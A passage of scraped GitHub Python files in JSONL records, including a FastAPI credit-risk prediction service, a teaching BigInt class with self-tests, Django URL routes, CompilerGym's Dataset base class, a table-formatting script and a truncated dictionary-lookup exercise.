)\n","repo_name":"darlansa/fast-api-learning","sub_path":"sessao3_p1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3536,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12853093800","text":"import uvicorn\nfrom pathlib import Path\nimport pandas as pd\nfrom pydantic import BaseModel\nfrom fastapi import FastAPI\nfrom fastapi.responses import JSONResponse\nfrom yaml import safe_load\nimport joblib\n\nfrom src.training import train_model\n\nwith open(\"src/config.yml\", \"r\") as f:\n CONFIG = safe_load(f)\n\nmodel_pipeline = joblib.load(CONFIG[\"model\"][\"path\"])\n\napp = FastAPI()\n\nclass ModelInput(BaseModel):\n account_status: str\n duration: int\n credit_history: str \n purpose: str\n credit_amount: int\n savings: str\n employment: str\n installment_rate: int\n personal_status_and_sex: str\n other_debtors: str \n residence_years: int\n property: str\n age: int\n other_installments: str\n housing: str\n number_of_credits: int\n job: str\n number_of_people_liable: int\n telephone: str\n foreign_worker: str\n\n\n@app.get(\"/\")\nasync def root():\n return {\"message\": \"Quick Credit ML Model!\"}\n\n\n@app.get(\"/train\")\nasync def train():\n print(\"Training model....\")\n train_model()\n return {\"message\": \"Completed model training\"}\n\n\n@app.post(\"/predict\")\nasync def predict(model_input: ModelInput):\n data = pd.DataFrame(model_input.dict(), index=[0])\n y_pred = model_pipeline.predict(data)\n y_pred_prob = model_pipeline.predict_proba(data)\n return JSONResponse(\n {\n \"message\": \"Prediction\",\n \"bad_loan\": int(y_pred[0]),\n \"bad_loan_prob\": float(y_pred_prob[0][1])\n }\n )\n\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host=\"0.0.0.0\", port=8000)\n","repo_name":"jtracy3/flask-credit-ml","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40120319092","text":"# coding: utf-8\n\nimport random\nfrom copy import deepcopy\n\n\n\"\"\"\n## Класс для представления длинного числа\n\nАбсолютно наивная и неэффективная реализация,\nнужна лишь для того, чтобы хоть как-то проиллюстрировать\nалгоритмы работы с длинной арифметикой.\n\n\"\"\"\n\n\nclass BigInt(object):\n def clean(self):\n # Очистить ведущие нули\n\n while self.bytes[-1] == 0 and len(self.bytes) > 1:\n self.bytes.pop()\n\n def clone(self):\n return deepcopy(self)\n\n def __init__(self, init=0):\n self.bytes = []\n self.sign = 1\n if isinstance(init, BigInt):\n self.bytes = deepcopy(init.bytes)\n self.sign = init.sign\n elif hasattr(init, '__getitem__'):\n self.from_iterable(init)\n else:\n self.from_number(init)\n\n def from_iterable(self, iterable):\n self.bytes = []\n\n if iterable.startswith('-'):\n self.sign = -1\n iterable = iterable[1:]\n else:\n self.sign = 1\n\n for i in iterable[::-1]:\n self.bytes.append(int(i))\n\n self.clean()\n\n def from_number(self, number):\n self.bytes = []\n\n if number < 0:\n self.sign, number = -1, -number\n else:\n self.sign = 1\n\n while number:\n self.bytes.append(number % 10)\n number //= 10\n\n self.bytes.append(0)\n\n self.clean()\n\n # Доступ\n # ======\n\n def __len__(self):\n return len(self.bytes)\n\n def __getitem__(self, key):\n if isinstance(key, slice):\n return self.bytes[key.start:key.stop:key.step]\n else:\n return self.bytes[key] if 0 <= key < len(self.bytes) else 0\n\n # Вывод\n # =====\n\n def __str__(self):\n if self.bytes == [0]:\n return '0'\n else:\n return (('-' * (self.sign == -1)) +\n ''.join([str(self.bytes[i])\n for i in range(len(self.bytes) - 1, -1, -1)]))\n\n # Сравнения\n # =========\n\n def __eq__(self, rvalue):\n return self.sign == rvalue.sign and self.bytes == rvalue.bytes\n\n def __neq__(self, rvalue):\n return not (self == rvalue)\n\n def __gt__(self, rvalue):\n if self.sign > rvalue.sign:\n return True\n\n i = max(len(self), len(rvalue))\n while (i >= 0) and self[i] == rvalue[i]:\n i -= 1\n return self[i] * self.sign > rvalue[i] * rvalue.sign\n\n def __lt__(self, rvalue):\n if self.sign < rvalue.sign:\n return True\n\n i = max(len(self), len(rvalue))\n while (i >= 0) and self[i] == rvalue[i]:\n i -= 1\n return self[i] * self.sign < rvalue[i] * rvalue.sign\n\n # Математика\n # ==========\n\n def __neg__(self):\n result = self.clone()\n result.sign = -self.sign\n return result\n\n def __iadd__(self, rvalue):\n # Сложение `a += b`\n\n if self.sign == -1 and rvalue.sign == 1:\n return rvalue - (-self)\n elif self.sign == 1 and rvalue.sign == -1:\n return self - (-rvalue)\n else:\n if len(self.bytes) < len(rvalue.bytes):\n self.bytes.extend([0 for _ in\n range(len(rvalue.bytes) - len(self.bytes))])\n self.bytes.append(0)\n\n for i in range(max(len(self.bytes), len(rvalue.bytes))):\n self.bytes[i] += rvalue[i]\n if self.bytes[i] > 9:\n self.bytes[i + 1] += self.bytes[i] // 10\n self.bytes[i] %= 10\n\n self.clean()\n return self\n\n def __add__(self, rvalue):\n # Сложение `a + b`\n result = self.clone()\n result += rvalue\n return result\n\n def __isub__(self, rvalue):\n # Вычитание `a -= b`\n\n if rvalue.sign == -1:\n return self + (-rvalue)\n elif self.sign == -1:\n return -(-self + rvalue)\n elif self < rvalue:\n return -(rvalue - self)\n else:\n if len(self.bytes) < len(rvalue.bytes):\n self.bytes.extend([0 for _ in\n range(len(rvalue.bytes) - len(self.bytes))])\n self.bytes.append(0)\n\n for i in range(max(len(self.bytes), len(rvalue.bytes))):\n if self[i] < rvalue[i]:\n self.bytes[i] += 10\n self.bytes[i + 1] -= 1\n self.bytes[i] -= rvalue[i]\n\n self.clean()\n return self\n\n def __sub__(self, rvalue):\n # Вычитание `a - b`\n result = self.clone()\n result -= rvalue\n return result\n\n def __imul__(self, rvalue):\n # Обычное умножение столбиком `a *= b`\n result = []\n result.extend([0 for _ in\n range(len(rvalue.bytes) + len(self.bytes) + 1)])\n\n self.sign = self.sign * rvalue.sign\n\n for i in range(len(self.bytes)):\n for j in range(len(rvalue.bytes)):\n result[i + j] += self[i] * rvalue[j]\n\n self.bytes = result\n\n for i in range(len(self.bytes)):\n if self.bytes[i] > 9:\n self.bytes[i + 1] += self.bytes[i] // 10\n self.bytes[i] %= 10\n\n self.clean()\n return self\n\n def __mul__(self, rvalue):\n # Обычное умножение столбиком `a * b`\n result = self.clone()\n result *= rvalue\n return result\n\n def __ilshift__(self, rvalue):\n # Побитовый сдвиг влево `a <<= n`\n self.bytes = [0 for _ in range(rvalue)] + self.bytes\n return self\n\n def __lshift__(self, rvalue):\n # Побитовый сдвиг влево `a << n`\n result = self.clone()\n result <<= rvalue\n return result\n\n\nif __name__ == '__main__':\n # Perform some tests on math operations\n for i in range(10000):\n a = random.randint(-1000, 1000)\n assert str(-BigInt(a)) == str(-a)\n\n for i in range(10000):\n a, b = random.randint(-1000, 1000), random.randint(-1000, 1000)\n assert str(BigInt(a) > BigInt(b)) == str(a > b)\n\n for i in range(10000):\n a, b = random.randint(-1000, 1000), random.randint(-1000, 1000)\n assert str(BigInt(a) < BigInt(b)) == str(a < b)\n\n for i in range(10000):\n a, b = random.randint(-1000, 1000), random.randint(-1000, 1000)\n assert str(BigInt(a) == BigInt(b)) == str(a == b)\n\n for i in range(10000):\n a, b = random.randint(-1000, 1000), random.randint(-1000, 1000)\n assert str(BigInt(a) != BigInt(b)) == str(a != b)\n\n for i in range(10000):\n a, b = random.randint(-1000, 1000), random.randint(-1000, 1000)\n assert str(BigInt(a) + BigInt(b)) == str(a + b)\n\n for i in range(10000):\n a, b = random.randint(-1000, 1000), random.randint(-1000, 1000)\n assert str(BigInt(a) - BigInt(b)) == str(a - b)\n\n for i in range(10000):\n a, b = random.randint(-1000, 1000), random.randint(-1000, 1000)\n assert str(BigInt(a) * BigInt(b)) == str(a * b)\n","repo_name":"latestalexey/programming-lectures-deprecated","sub_path":"sources/mp_helpers.py","file_name":"mp_helpers.py","file_ext":"py","file_size_in_byte":7370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18472078783","text":"from django.urls import path,re_path\nfrom . import views\n\napp_name = 'credits'\n\nurlpatterns = [\n path('',views.index,name = 'index'),\n path('insert/',views.insert,name = 'insert'),\n path('history/',views.history,name = 'history')\n]\n","repo_name":"bittukumarray/Blood-Bank-Management-System","sub_path":"bloodbank/credits/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1056176751","text":"import logging\nimport os\nimport re\nimport shutil\nimport warnings\nfrom pathlib import Path\nfrom typing import Dict, Iterable, Optional, Union\n\nimport numpy as np\n\n# The \"deprecated\" name is used as a constructor argument to Dataset, so rename\n# this import to prevent shadowing.\nfrom deprecated.sphinx import deprecated as mark_deprecated\n\nimport compiler_gym.errors\nfrom compiler_gym.datasets.benchmark import Benchmark\nfrom compiler_gym.datasets.uri import BenchmarkUri\n\nlogger = logging.getLogger(__name__)\n\n_DATASET_VERSION_PATTERN = r\"[a-zA-z0-9-_]+-v(?P[0-9]+)\"\n_DATASET_VERSION_RE = re.compile(_DATASET_VERSION_PATTERN)\n\n\nclass Dataset:\n \"\"\"A dataset is a collection of benchmarks.\n\n The Dataset class has methods for installing and managing groups of\n benchmarks, for listing the available benchmark URIs, and for instantiating\n :class:`Benchmark ` objects.\n\n The Dataset class is an abstract base for implementing datasets. At a\n minimum, subclasses must implement the :meth:`benchmark()\n ` and :meth:`benchmark_uris()\n ` methods, and :meth:`size\n `. Other methods such as\n :meth:`install() ` may be used where\n helpful.\n \"\"\"\n\n def __init__(\n self,\n name: str,\n description: str,\n license: str, # pylint: disable=redefined-builtin\n site_data_base: Optional[Path] = None,\n benchmark_class=Benchmark,\n references: Optional[Dict[str, str]] = None,\n deprecated: Optional[str] = None,\n sort_order: int = 0,\n validatable: str = \"No\",\n ):\n \"\"\"Constructor.\n\n :param name: The name of the dataset, in the format:\n :code:`scheme://name`.\n\n :param description: A short human-readable description of the dataset.\n\n :param license: The name of the dataset's license.\n\n :param site_data_base: An optional directory that can be used by the\n dataset to house the \"site data\", i.e. persistent files on disk. The\n site data directory is a subdirectory of this :code:`site_data_base`\n path, which can be shared by multiple datasets. If not provided, the\n :attr:`dataset.site_data_path\n ` attribute will raise\n an error. Use :attr:`dataset.has_site_data\n ` to check if a site\n data path was set.\n\n :param benchmark_class: The class to use when instantiating benchmarks.\n It must have the same constructor signature as :class:`Benchmark\n `.\n\n :param references: A dictionary of useful named URLs for this dataset\n containing extra information, download links, papers, etc.\n\n :param deprecated: Mark the dataset as deprecated and issue a warning\n when :meth:`install() `,\n including the given method. Deprecated datasets are excluded from\n the :meth:`datasets() `\n iterator by default.\n\n :param sort_order: An optional numeric value that should be used to\n order this dataset relative to others. Lowest value sorts first.\n\n :param validatable: Whether the dataset is validatable. A validatable\n dataset is one where the behavior of the benchmarks can be checked\n by compiling the programs to binaries and executing them. If the\n benchmarks crash, or are found to have different behavior, then\n validation fails. This type of validation is used to check that the\n compiler has not broken the semantics of the program. This value\n takes a string and is used for documentation purposes only.\n Suggested values are \"Yes\", \"No\", or \"Partial\".\n\n :raises ValueError: If :code:`name` does not match the expected type.\n \"\"\"\n self._name = name\n\n uri = BenchmarkUri.from_string(name)\n\n self._description = description\n self._license = license\n self._scheme = uri.scheme\n\n match = _DATASET_VERSION_RE.match(uri.dataset)\n self._version = int(match.group(\"version\") if match else 0)\n self._references = references or {}\n self._deprecation_message = deprecated\n self._validatable = validatable\n\n self.sort_order = sort_order\n self.benchmark_class = benchmark_class\n\n # Set up the site data name.\n if site_data_base:\n self._site_data_path = (\n Path(site_data_base).resolve() / uri.scheme / uri.dataset\n )\n\n def __repr__(self):\n return self.name\n\n @property\n def name(self) -> str:\n \"\"\"The name of the dataset.\n\n :type: str\n \"\"\"\n return self._name\n\n @property\n def description(self) -> str:\n \"\"\"A short human-readable description of the dataset.\n\n :type: str\n \"\"\"\n return self._description\n\n @property\n def license(self) -> str:\n \"\"\"The name of the license of the dataset.\n\n :type: str\n \"\"\"\n return self._license\n\n @property\n @mark_deprecated(\n version=\"0.2.2\", reason=\"The `protocol` attribute has been renamed `scheme`\"\n )\n def protocol(self) -> str:\n \"\"\"The URI scheme that is used to identify benchmarks in this dataset.\n\n :type: str\n \"\"\"\n return self.scheme\n\n @property\n def scheme(self) -> str:\n \"\"\"The URI scheme that is used to identify benchmarks in this dataset.\n\n :type: str\n \"\"\"\n return self._scheme\n\n @property\n def version(self) -> int:\n \"\"\"The version tag for this dataset. Defaults to zero.\n\n :type: int\n \"\"\"\n return self._version\n\n @property\n def references(self) -> Dict[str, str]:\n \"\"\"A dictionary of useful named URLs for this dataset containing extra\n information, download links, papers, etc.\n\n For example:\n\n >>> dataset.references\n {'Paper': 'https://arxiv.org/pdf/1407.3487.pdf',\n 'Homepage': 'https://ctuning.org/wiki/index.php/CTools:CBench'}\n\n :type: Dict[str, str]\n \"\"\"\n return self._references\n\n @property\n def deprecated(self) -> bool:\n \"\"\"Whether the dataset is included in the iterable sequence of datasets\n of a containing :class:`Datasets `\n collection.\n\n :type: bool\n \"\"\"\n return self._deprecation_message is not None\n\n @property\n def validatable(self) -> str:\n \"\"\"Whether the dataset is validatable. A validatable dataset is one\n where the behavior of the benchmarks can be checked by compiling the\n programs to binaries and executing them. If the benchmarks crash, or are\n found to have different behavior, then validation fails. This type of\n validation is used to check that the compiler has not broken the\n semantics of the program.\n\n This property takes a string and is used for documentation purposes\n only. Suggested values are \"Yes\", \"No\", or \"Partial\".\n\n :type: str\n \"\"\"\n return self._validatable\n\n @property\n def has_site_data(self) -> bool:\n \"\"\"Return whether the dataset has a site data directory.\n\n :type: bool\n \"\"\"\n return hasattr(self, \"_site_data_path\")\n\n @property\n def site_data_path(self) -> Path:\n \"\"\"The filesystem path used to store persistent dataset files.\n\n This directory may not exist.\n\n :type: Path\n\n :raises ValueError: If no site data path was specified at constructor\n time.\n \"\"\"\n if not self.has_site_data:\n raise ValueError(f\"Dataset has no site data path: {self.name}\")\n return self._site_data_path\n\n @property\n def site_data_size_in_bytes(self) -> int:\n \"\"\"The total size of the on-disk data used by this dataset.\n\n :type: int\n \"\"\"\n if not self.has_site_data:\n return 0\n\n if not self.site_data_path.is_dir():\n return 0\n\n total_size = 0\n for dirname, _, filenames in os.walk(self.site_data_path):\n total_size += sum(\n os.path.getsize(os.path.join(dirname, f)) for f in filenames\n )\n return total_size\n\n @property\n def size(self) -> int:\n \"\"\"The number of benchmarks in the dataset.\n\n If the number of benchmarks is unknown or unbounded, for example because\n the dataset represents a program generator that can produce an infinite\n number of programs, the value is 0.\n\n :type: int\n \"\"\"\n return 0\n\n def __len__(self) -> int:\n \"\"\"The number of benchmarks in the dataset.\n\n This is the same as :meth:`Dataset.size\n `:\n\n >>> len(dataset) == dataset.size\n True\n\n If the number of benchmarks is unknown or unbounded, for example because\n the dataset represents a program generator that can produce an infinite\n number of programs, the value is 0.\n\n :return: An integer.\n \"\"\"\n return self.size\n\n def __eq__(self, other: Union[\"Dataset\", str]) -> bool:\n if isinstance(other, Dataset):\n return self.name == other.name\n return self.name == other\n\n def __lt__(self, other: Union[\"Dataset\", str]) -> bool:\n if isinstance(other, Dataset):\n return self.name < other.name\n return self.name < other\n\n def __le__(self, other: Union[\"Dataset\", str]) -> bool:\n return self < other or self == other\n\n @property\n def installed(self) -> bool:\n \"\"\"Whether the dataset is installed locally. Installation occurs\n automatically on first use, or by calling :meth:`install()\n `.\n\n :type: bool\n \"\"\"\n return True\n\n def install(self) -> None:\n \"\"\"Install this dataset locally.\n\n Implementing this method is optional. If implementing this method, you\n must call :code:`super().install()` first.\n\n This method should not perform redundant work. This method should first\n detect whether any work needs to be done so that repeated calls to\n :code:`install()` will complete quickly.\n \"\"\"\n if self.deprecated:\n warnings.warn(\n f\"Dataset '{self.name}' is marked as deprecated. {self._deprecation_message}\",\n category=DeprecationWarning,\n stacklevel=2,\n )\n\n def uninstall(self) -> None:\n \"\"\"Remove any local data for this benchmark.\n\n This method undoes the work of :meth:`install()\n `. The dataset can still be used\n after calling this method.\n \"\"\"\n if self.has_site_data() and self.site_data_path.is_dir():\n shutil.rmtree(self.site_data_path)\n\n def benchmarks(self) -> Iterable[Benchmark]:\n \"\"\"Enumerate the (possibly infinite) benchmarks lazily.\n\n Iteration order is consistent across runs. The order of\n :meth:`benchmarks() ` and\n :meth:`benchmark_uris() `\n is the same.\n\n If the number of benchmarks in the dataset is infinite\n (:code:`len(dataset) == math.inf`), the iterable returned by this method\n will continue indefinitely.\n\n :return: An iterable sequence of :class:`Benchmark\n ` instances.\n \"\"\"\n # Default implementation. Subclasses may wish to provide an alternative\n # implementation that is optimized to specific use cases.\n yield from (self.benchmark(uri) for uri in self.benchmark_uris())\n\n def __iter__(self) -> Iterable[Benchmark]:\n \"\"\"Enumerate the (possibly infinite) benchmarks lazily.\n\n This is the same as :meth:`Dataset.benchmarks()\n `:\n\n >>> from itertools import islice\n >>> list(islice(dataset, 100)) == list(islice(datset.benchmarks(), 100))\n True\n\n :return: An iterable sequence of :meth:`Benchmark\n ` instances.\n \"\"\"\n yield from self.benchmarks()\n\n def benchmark_uris(self) -> Iterable[str]:\n \"\"\"Enumerate the (possibly infinite) benchmark URIs.\n\n Iteration order is consistent across runs. The order of\n :meth:`benchmarks() ` and\n :meth:`benchmark_uris() `\n is the same.\n\n If the number of benchmarks in the dataset is infinite\n (:code:`len(dataset) == math.inf`), the iterable returned by this method\n will continue indefinitely.\n\n :return: An iterable sequence of benchmark URI strings.\n \"\"\"\n raise NotImplementedError(\"abstract class\")\n\n def benchmark_from_parsed_uri(self, uri: BenchmarkUri) -> Benchmark:\n \"\"\"Select a benchmark.\n\n Subclasses must implement this method. Implementors may assume that the\n URI is well formed and that the :code:`scheme` and :code:`dataset`\n components are correct.\n\n :param uri: The parsed URI of the benchmark to return.\n\n :return: A :class:`Benchmark `\n instance.\n\n :raise LookupError: If :code:`uri` is not found.\n\n :raise ValueError: If the URI is invalid.\n \"\"\"\n raise NotImplementedError(\"abstract class\")\n\n def benchmark(self, uri: str) -> Benchmark:\n \"\"\"Select a benchmark.\n\n :param uri: The URI of the benchmark to return.\n\n :return: A :class:`Benchmark `\n instance.\n\n :raise LookupError: If :code:`uri` is not found.\n\n :raise ValueError: If the URI is invalid.\n \"\"\"\n return self.benchmark_from_parsed_uri(BenchmarkUri.from_string(uri))\n\n def random_benchmark(\n self, random_state: Optional[np.random.Generator] = None\n ) -> Benchmark:\n \"\"\"Select a benchmark randomly.\n\n :param random_state: A random number generator. If not provided, a\n default :code:`np.random.default_rng()` is used.\n\n :return: A :class:`Benchmark `\n instance.\n \"\"\"\n random_state = random_state or np.random.default_rng()\n return self._random_benchmark(random_state)\n\n def _random_benchmark(self, random_state: np.random.Generator) -> Benchmark:\n \"\"\"Private implementation of the random benchmark getter.\n\n Subclasses must implement this method so that it selects a benchmark\n from the available benchmarks with uniform probability, using only\n :code:`random_state` as a source of randomness.\n \"\"\"\n raise NotImplementedError(\"abstract class\")\n\n def __getitem__(self, uri: str) -> Benchmark:\n \"\"\"Select a benchmark by URI.\n\n This is the same as :meth:`Dataset.benchmark(uri)\n `:\n\n >>> dataset[\"benchmark://cbench-v1/crc32\"] == dataset.benchmark(\"benchmark://cbench-v1/crc32\")\n True\n\n :return: A :class:`Benchmark `\n instance.\n\n :raise LookupError: If :code:`uri` does not exist.\n \"\"\"\n return self.benchmark(uri)\n\n\n# Deprecated since v0.2.4.\n# This type is for backwards compatibility that will be removed in a future release.\n# Please, use errors from `compiler_gym.errors`.\nDatasetInitError = compiler_gym.errors.DatasetInitError\n\n\n@mark_deprecated(\n version=\"0.1.4\",\n reason=(\n \"Datasets are now automatically activated. \"\n \"`More information `_.\"\n ),\n)\ndef activate(env, dataset: Union[str, Dataset]) -> bool:\n \"\"\"Deprecated function for managing datasets.\n\n :param dataset: The name of the dataset to download, or a :class:`Dataset\n ` instance.\n\n :return: :code:`True` if the dataset was activated, else :code:`False` if\n already active.\n\n :raises ValueError: If there is no dataset with that name.\n \"\"\"\n return False\n\n\n@mark_deprecated(\n version=\"0.1.4\",\n reason=(\n \"Please use :meth:`del env.datasets[dataset] `. \"\n \"`More information `_.\"\n ),\n)\ndef delete(env, dataset: Union[str, Dataset]) -> bool:\n \"\"\"Deprecated function for managing datasets.\n\n Please use :meth:`del env.datasets[dataset]\n `.\n\n :param dataset: The name of the dataset to download, or a :class:`Dataset\n ` instance.\n\n :return: :code:`True` if the dataset was deleted, else :code:`False` if\n already deleted.\n \"\"\"\n del env.datasets[dataset]\n return False\n\n\n@mark_deprecated(\n version=\"0.1.4\",\n reason=(\n \"Please use :meth:`env.datasets.deactivate() `. \"\n \"`More information `_.\"\n ),\n)\ndef deactivate(env, dataset: Union[str, Dataset]) -> bool:\n \"\"\"Deprecated function for managing datasets.\n\n Please use :meth:`del env.datasets[dataset]\n `.\n\n :param dataset: The name of the dataset to download, or a :class:`Dataset\n ` instance.\n\n :return: :code:`True` if the dataset was deactivated, else :code:`False` if\n already inactive.\n \"\"\"\n del env.datasets[dataset]\n return False\n\n\n@mark_deprecated(\n version=\"0.1.7\",\n reason=(\n \"Datasets are now installed automatically, there is no need to call :code:`require()`. \"\n \"`More information `_.\"\n ),\n)\ndef require(env, dataset: Union[str, Dataset]) -> bool:\n \"\"\"Deprecated function for managing datasets.\n\n Datasets are now installed automatically. See :class:`env.datasets\n `.\n\n :param env: The environment that this dataset is required for.\n\n :param dataset: The name of the dataset to download, or a :class:`Dataset\n ` instance.\n\n :return: :code:`True` if the dataset was downloaded, or :code:`False` if the\n dataset was already available.\n \"\"\"\n return False\n","repo_name":"facebookresearch/CompilerGym","sub_path":"compiler_gym/datasets/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":19077,"program_lang":"python","lang":"en","doc_type":"code","stars":821,"dataset":"github-code","pt":"78"} +{"seq_id":"38125743201","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport codecs\nimport re\nimport argparse\n\n### ArgParse configuration.\nparser = argparse.ArgumentParser(description='Format a file into a table-like view.')\nparser.add_argument(\"-i\",\"--input\", type=str, metavar=\"N\", required=True, help=\"the file with the data to be formatted (required)\")\nparser.add_argument(\"-o\",\"--output\", type=str, metavar=\"N\", default=\"output\", help=\"the file with the formated data (default: output)\")\nparser.add_argument(\"-c\",\"--columns\", type=int, metavar=\"N\", default=2, help=\"the amount of columns (default: 2)\")\nparser.add_argument(\"-w\",\"--width\", type=int, metavar=\"N\", nargs='+', default=[], help=\"the width(s) between each column (default: 40)\")\nparser.add_argument(\"-n\",\"--names\", type=str, metavar=\"N\", nargs='+', default=[], help=\"the name(s) for the columns\")\nparser.add_argument(\"-b\",\"--borders\", action=\"store_true\", help=\" draws the table borders.\")\nargs = parser.parse_args()\n\n### Variable Extraction\ninput_arg = args.input\noutput_arg = args.output\nline_arg = args.columns\nwidth_arg = args.width\ntable_arg = args.borders\nname_arg = args.names\n\n### Evaluate if header names will be drawed.\nif (len(name_arg) > 0):\n\tname_eval = True\nelse:\n\tname_eval = False\n\n### Evaluate if the width will be auto calculated.\nif (len(width_arg) == 0):\n\twidth_eval = True\nelse:\n\twidth_eval = False\n\n### Read the input.\nwith codecs.open(input_arg, \"r\", \"utf-8\") as text_file:\n\tinput = text_file.read()\n\nresult = u\"\"\n\n### Calculate widths if not specified.\nif width_eval:\n\tcount = 0\n\tfor x in range(0, line_arg):\n\t\twidth_arg.append(0)\n\tfor line in input.split(\"\\n\"):\n\t\tlinetemp = re.sub(\"[\\r\\n\\b]\", \"\", line)\n\t\tif len(linetemp) + 1 > width_arg[count]:\n\t\t\twidth_arg[count] = len(linetemp) + 1\n\t\tif count < line_arg - 1:\n\t\t\tcount += 1\n\t\telse:\n\t\t\tcount = 0\n\n### Calculate the longitude.\nlongitude = 0\ntempvalue = 0\nfor i in range(0, line_arg):\n\tlongitude += width_arg[tempvalue] + 1\n\tif (tempvalue + 1) < len(width_arg):\n\t\ttempvalue += 1\nlongitude += 1\n\n### Draws the header names.\nif name_eval and table_arg:\n\tcount = 0\n\t### Header top\n\twidth_count = 0\n\tbreaks = 1 + width_arg[width_count]\n\tif (width_count + 1) < len(width_arg):\n\t\twidth_count += 1\n\t\n\tfor x in range(0, longitude):\n\t\tif (x == 0):\n\t\t\tresult += u\"╔\"\n\t\telif (x == longitude - 1):\n\t\t\tresult += u\"╗\"\n\t\telif (x == breaks):\n\t\t\tresult += u\"╦\"\n\t\t\tbreaks += 1 + width_arg[width_count]\n\t\t\tif (width_count + 1) < len(width_arg):\n\t\t\t\twidth_count += 1\n\t\telse:\n\t\t\tresult += u\"═\"\n\tresult += \"\\n\"\n\n\t### Header names\n\twidth_count = 0\n\tline_result = \"\"\n\tcolumn = 1\n\tlinetemp = \"\"\n\tcount = 0\n\tfor name in name_arg:\n\t\tcount += 1\n\t\tif (count > line_arg):\n\t\t\tbreak\n\t\tline_result += u\"║\"\n\t\tline_result += name\n\n\t\tfor x in range(0, (width_arg[width_count] - len(name))):\n\t\t\tline_result += u\" \"\n\t\t\n\t\tif (width_count + 1) < len(width_arg):\n\t\t\twidth_count += 1\n\t\tcolumn += 1\n\t\n\tif (len(line_result) != longitude):\n\t\tbreaks = len(line_result) + 1 + width_arg[width_count]\n\t\tline_result += u\"║\"\n\t\tif (width_count + 1) < len(width_arg):\n\t\t\twidth_count += 1\n\t\t\n\t\tfor x in range(len(line_result), longitude):\n\t\t\tif (x == breaks):\n\t\t\t\tline_result += u\"║\"\n\t\t\t\tbreaks += 1 + width_arg[width_count]\n\t\t\t\tif (width_count + 1) < len(width_arg):\n\t\t\t\t\twidth_count += 1\n\t\t\telse:\n\t\t\t\tline_result += \" \"\n\t\n\n\tline_result += \"\\n\"\n\tresult += line_result\n\n### Top border\ncount = 0\nif table_arg:\n\twidth_count = 0\n\tbreaks = 1 + width_arg[width_count]\n\tif (width_count + 1) < len(width_arg):\n\t\twidth_count += 1\n\t\n\tfor x in range(0, longitude):\n\t\tif (x == 0):\n\t\t\tif name_eval:\n\t\t\t\tresult += u\"╠\"\n\t\t\telse:\n\t\t\t\tresult += u\"╔\"\n\t\telif (x == longitude - 1):\n\t\t\tif name_eval:\n\t\t\t\tresult += u\"╣\"\n\t\t\telse:\n\t\t\t\tresult += u\"╗\"\n\t\telif (x == breaks):\n\t\t\tif name_eval:\n\t\t\t\tresult += u\"╬\"\n\t\t\telse:\n\t\t\t\tresult += u\"╦\"\n\t\t\tbreaks += 1 + width_arg[width_count]\n\t\t\tif (width_count + 1) < len(width_arg):\n\t\t\t\twidth_count += 1\n\t\telse:\n\t\t\tresult += u\"═\"\n\tresult += u\"\\n\"\n\n### Data lines\ncolumn = 1\nline_result = \"\"\nwidth_count = 0\nfor line in input.split(\"\\n\"):\n\tlinetemp = re.sub(\"[\\r\\n\\b]\", \"\", line)\n\tif (len(linetemp) != 0):\n\t\tif (count == line_arg):\n\t\t\tline_result += u\"\\n\"\n\t\t\tcount = 0\n\t\t\twidth_count = 0\n\t\tif (table_arg and count == 0):\n\t\t\tline_result += u\"║\"\n\t\telse:\n\t\t\tline_result += u\"\"\n\n\t\tline_result += unicode(linetemp.replace(\"\\n\", \"\").replace(\"\\r\", \"\"))\n\n\t\tfor x in range(0, (width_arg[width_count] - len(linetemp))):\n\t\t\tline_result += u\" \"\n\t\tif (table_arg):\n\t\t\tline_result += u\"║\"\n\t\t\tif (width_count + 1) < len(width_arg):\n\t\t\t\twidth_count += 1\n\t\telse:\n\t\t\tif (width_count + 1) < len(width_arg):\n\t\t\t\twidth_count += 1\n\t\tcount += 1\n\t\tcolumn += 1\n\t\t\n\tif (column > line_arg):\n\t\tresult += line_result\n\t\tline_result = \"\"\n\t\tcolumn = 1\n\n### Complete the line if it isn't.\nif (len(line_result) != longitude and len(line_result) != 0):\n\tbreaks = len(line_result) - 1 + width_arg[width_count]\n\tif (width_count + 1) < len(width_arg):\n\t\twidth_count += 1\n\tfor x in range(len(line_result) - 1, longitude):\n\t\tif (x == breaks):\n\t\t\tline_result += u\"║\"\n\t\t\tbreaks += 1 + width_arg[width_count]\n\t\t\tif (width_count + 1) < len(width_arg):\n\t\t\t\twidth_count += 1\n\t\telse:\n\t\t\tline_result += \" \"\n\nresult += line_result\n\n### Botton border.\nwidth_count = 0\nif table_arg:\n\tresult += \"\\n\"\n\tbreaks = 1 + width_arg[width_count]\n\tif (width_count + 1) < len(width_arg):\n\t\twidth_count += 1\n\tfor x in range(0, longitude):\n\t\tif (x == 0):\n\t\t\tresult += u\"╚\"\n\t\telif (x == longitude - 1):\n\t\t\tresult += u\"╝\"\n\t\telif (x == breaks):\n\t\t\tresult += u\"╩\"\n\t\t\tbreaks += 1 + width_arg[width_count]\n\t\t\tif (width_count + 1) < len(width_arg):\n\t\t\t\twidth_count += 1\n\t\telse:\n\t\t\tresult += u\"═\"\n\n### Write the output.\nwith codecs.open(output_arg, \"w\", \"utf-8\") as text_file:\n\ttext_file.write(result)\n","repo_name":"JorgeBoscan/python-scripts","sub_path":"format-info.py","file_name":"format-info.py","file_ext":"py","file_size_in_byte":5741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16243604776","text":"import sys\n\ninput =sys.stdin.readline\ndic, num = map(int,input().split())\n\ndic_list = {}\n\nfor i in range(1, dic+1):\n word = input().rstrip()\n dic_list[i] = word\n dic_list[word] = i\n\nfor i in range(num):\n find = input().rstrip()\n if find.isdigit():\n print(dic_list[int(find)])\n else:\n 